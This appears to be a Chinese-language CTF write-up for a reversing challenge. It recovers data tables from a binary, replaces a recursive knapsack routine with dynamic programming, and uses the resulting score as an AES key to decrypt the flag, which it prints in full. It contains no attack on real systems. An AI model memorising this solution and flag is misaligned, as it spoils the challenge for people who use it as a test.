[!] WARNING: Legacy render algorithm detected.
[!] Calculating optimal cut... This may take a while.
[*] Rendering... (Grab some popcorn)
321
321312
321312
^C
初步分析:
-
程序是一个"渲染引擎",需要计算"optimal cut"(最佳剪辑)
-
输出提示:
Scenes: 100 | Max Runtime: 240 -
警告:
Legacy render algorithm detected(使用旧版算法,很慢)
bash
# 字符串检查
└─# strings final_cut | grep -i -A3 -B3 "scene\|runtime\|cut\|optimal\|render\|legacy"
PTE1
u+UH
RE)}
[+] OPTIMAL CUT SCORE: %lld
[+] Initializing AES-128 Decryption Projector...
[!] Projector Malfunction: Key Error.
=========================================
--
=========================================
=========================================
===============================================
UNLP METARED RENDER ENGINE - FINAL CUT v.01
[*] Loading raw footage...
[*] Scenes: %d | Max Runtime: %d
[!] WARNING: Legacy render algorithm detected.
[!] Calculating optimal cut... This may take a while.
[*] Rendering... (Grab some popcorn)
9*3$"
{"type":"deb","os":"ubuntu","name":"glibc","version":"2.41-6ubuntu1.2","architecture":"amd64"}
GCC: (Ubuntu 14.2.0-19ubuntu2) 14.2.0
通过字符串分析发现:
-
[+] OPTIMAL CUT SCORE: %lld- 会输出一个分数 -
[+] Initializing AES-128 Decryption Projector...- 使用AES-128解密 -
[!] Projector Malfunction: Key Error.- 密钥错误 -
MOVIE TITLE (DECRYPTED)- 解密后显示电影标题(即flag)
使用IDA/Ghidra/objdump分析二进制文件:
bash
1477: f3 0f 1e fa endbr64
147b: 55 push %rbp
147c: 48 89 e5 mov %rsp,%rbp
...
1528: be 64 00 00 00 mov $0x64,%esi ; esi = 100 (Scenes)
152d: bf f0 00 00 00 mov $0xf0,%edi ; edi = 240 (Max Runtime)
1532: e8 12 fd ff ff call 1249 <puts@plt+0xf9> ; 调用计算函数
1537: 48 89 45 f8 mov %rax,-0x8(%rbp) ; 保存结果
153b: 48 8b 45 f8 mov -0x8(%rbp),%rax
153f: 48 89 c7 mov %rax,%rdi
1542: e8 db fd ff ff call 1322 <puts@plt+0x1d2> ; 调用AES解密函数
这里代码太长了,只粘出来一点,总的来说就是通过分析代码:
主逻辑:
-
计算
optimal_cut(240, 100)(递归函数,很慢) -
使用结果作为AES-128密钥解密数据
-
输出解密后的电影标题
关键函数:
-
0x1249: 递归计算optimal cut score -
0x1322: AES解密函数 -
0x2020: table1数组(100个整数) -
0x21c0: table2数组(100个整数) -
0x2360: 加密数据(48字节)
分析optimal_cut 函数发现是标准的0/1背包问题:
-
容量: 240(最大运行时间)
-
物品数量: 100(场景数)
-
物品重量: table1中的值
-
物品价值: table2中的值
-
目标: 最大化总价值
原程序使用递归算法,时间复杂度为 O(2ⁿ),需要优化。
解题步骤:
1、提取数据
bash
# 提取table1(100个4字节整数)
dd if=final_cut of=table1.bin bs=1 count=400 skip=$((0x2020))
# 提取table2(100个4字节整数)
dd if=final_cut of=table2.bin bs=1 count=400 skip=$((0x21c0))
2、优化算法,将递归算法改为动态规划:
bash
def solve_knapsack(weights, values, capacity):
dp = [0] * (capacity + 1)
n = len(weights)
for i in range(n):
w = weights[i]
v = values[i]
for j in range(capacity, w-1, -1):
if dp[j-w] + v > dp[j]:
dp[j] = dp[j-w] + v
return dp[capacity]
3、计算optimal score
bash
runtime = 240
scenes = 100
# 读取并解析数据
table1 = [...] # 从table1.bin解析
table2 = [...] # 从table2.bin解析
optimal_score = solve_knapsack(table1, table2, runtime)
# 计算结果: 17452999 (0x10a4fc7)
4、AES解密
bash
# 生成AES密钥(8字节小端序 + 8字节0填充)
key = optimal_score.to_bytes(8, 'little') + b'\x00' * 8
# key: c7 4f 0a 01 00 00 00 00 00 00 00 00 00 00 00 00
# 加密数据(从0x2360提取)
encrypted_data = bytes.fromhex("34df2253...4c2920e3")
# AES-ECB解密
cipher = AES.new(key, AES.MODE_ECB)
decrypted = cipher.decrypt(encrypted_data)
# 结果: b'UNLP{DyNam1C_Pr0gRamm1nG_w1Ns_0sC4rs}\x0b...'
完整脚本
python
#!/usr/bin/env python3
import struct
from Crypto.Cipher import AES
# 读取二进制文件
with open('table1.bin', 'rb') as f:
table1_bytes = f.read()
with open('table2.bin', 'rb') as f:
table2_bytes = f.read()
# 解析为整数列表(小端序)
table1 = []
table2 = []
for i in range(0, 400, 4):
table1.append(struct.unpack('<I', table1_bytes[i:i+4])[0])
table2.append(struct.unpack('<I', table2_bytes[i:i+4])[0])
print(f"Loaded {len(table1)} scenes")
print(f"First 5 weights: {table1[:5]}")
print(f"First 5 values: {table2[:5]}")
# 0/1背包问题动态规划
runtime = 240
scenes = 100
# 初始化DP数组
dp = [0] * (runtime + 1)
# 动态规划求解
for i in range(scenes):
weight = table1[i]
value = table2[i]
# 逆向遍历,确保每个物品只选一次
for w in range(runtime, weight - 1, -1):
if dp[w - weight] + value > dp[w]:
dp[w] = dp[w - weight] + value
optimal_score = dp[runtime]
print(f"\nOptimal cut score: {optimal_score} (0x{optimal_score:x})")
# 转换为AES密钥(8字节小端序 + 8字节0填充)
key = optimal_score.to_bytes(8, 'little') + b'\x00' * 8
print(f"AES-128 Key: {key.hex()}")
# 读取加密数据
encrypted_data = bytes.fromhex("34df22538618f511846852f789c0ddabb0e8d35245297db70b4b7e58f6e8b443f43af9897c2e309d5569211d4c2920e3")
# 尝试解密
try:
cipher = AES.new(key, AES.MODE_ECB)
decrypted = cipher.decrypt(encrypted_data)
print(f"\nDecrypted data (hex): {decrypted.hex()}")
print(f"Decrypted data (ascii): {decrypted}")
# 尝试解码为字符串
try:
print(f"Decrypted string: {decrypted.decode('utf-8', errors='ignore')}")
except:
print("Could not decode as UTF-8")
except Exception as e:
print(f"Decryption error: {e}")
# 可选:验证计算,尝试不同的密钥格式
print("\nTrying different key formats...")
# 格式1: 小端序8字节 + 填充
key1 = optimal_score.to_bytes(8, 'little') + b'\x00' * 8
# 格式2: 大端序8字节 + 填充
key2 = optimal_score.to_bytes(8, 'big') + b'\x00' * 8
# 格式3: 重复8字节
key3 = optimal_score.to_bytes(8, 'little') * 2
# 格式4: 大端序重复
key4 = optimal_score.to_bytes(8, 'big') * 2
for i, key in enumerate([key1, key2, key3, key4], 1):
try:
cipher = AES.new(key, AES.MODE_ECB)
decrypted = cipher.decrypt(encrypted_data)
print(f"Key format {i} ({key.hex()[:16]}...): {decrypted[:16].hex()}")
if b'flag' in decrypted.lower() or b'ctf' in decrypted.lower():
print(f" Possible flag found: {decrypted}")
except:
pass